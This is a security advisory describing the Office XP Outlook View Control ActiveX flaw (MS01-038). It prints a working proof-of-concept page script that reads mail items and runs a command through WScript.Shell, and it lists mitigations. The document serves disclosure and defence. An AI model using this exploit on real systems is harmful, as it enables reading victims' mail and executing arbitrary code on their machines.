COMMAND
MS Office XP
SYSTEMS AFFECTED
MS Office XP
PROBLEM
Following is based on a Georgi Guninski security advisory #49.
If a user visits a specially designed html page with IE or opens
or previews a message with Outlook XP arbitrary commands may be
executed on his computer. This may lead to taking full control
over user's computer. Using another approach to this bug allows
reading, modifying and deleting messages in user's Outlook XP
folders.
The problem is again ActiveX. This time Office XP seems to
install a malicous ActiveX control - "Microsoft Outlook View
Control". This control exposes property named "selection" which
gives access to user's mail messages. It also exposes the
Outlook "Application" object which may lead to execution of
arbitrary programs of the user's computer. Examine the script
below for more information.
This assumes you have at least one message in Outlook XP's Inbox:
<br>
<object id="o1" classid="clsid:0006F063-0000-0000-C000-000000000046">
<param name="folder" value="Inbox">
</object>
<script>
function f()
{
//alert(o2.object);
sel=o1.object.selection;
vv1=sel.Item(1);
alert("Subject="+vv1.Subject);
alert("Body="+vv1.Body+"["+vv1.HTMLBody+"]");
alert("May be deleted");
//vv1.Delete();
vv2=vv1.Session.Application.CreateObject("WScript.Shell");
alert("Much more fun is possible");
vv2.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /c DIR /A /P /S C:\\ ");
}
setTimeout("f()",2000);
</script>
SOLUTION
Uninstall Office XP and Windows ;) Those brave should take any
or all of the following steps;
1. Install the Outlook Email Security Update.
http://office.microsoft.com/downloads/2000/Out2ksec.aspx
2. Ensure that Outlook is using the Restricted Sites Zone for its
security.
Outlook XP
[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\General]
"Security Zone"=dword:00000004
Outlook 2000
[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\General]
"Security Zone"=dword:00000004
Outlook 98
[HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Outlook\Options\General]
"Security Zone"=dword:00000004
3. Ensure that "Run ActiveX controls and plug-ins" is set to
Disabled.
4. Remove or rename the affected control, OUTLCTL.DLL. This file
will likely be found in the;
\Program Files\Microsoft Office\Office
directory. It is not covered by Windows File Protection so it
will not automatically be restored.
5. In Outlook 2000 and Outlook XP environments, establish a client
rule to automatically handle files with script in them. Look
for keywords such as <script>, <vbscript>, <object, etc... and
quarantine or delete them.
The MS Security Bulletin is MS01-038:
http://www.microsoft.com/technet/security/bulletin/MS01-038.asp
has been updated on 16th August and now it contains the fix.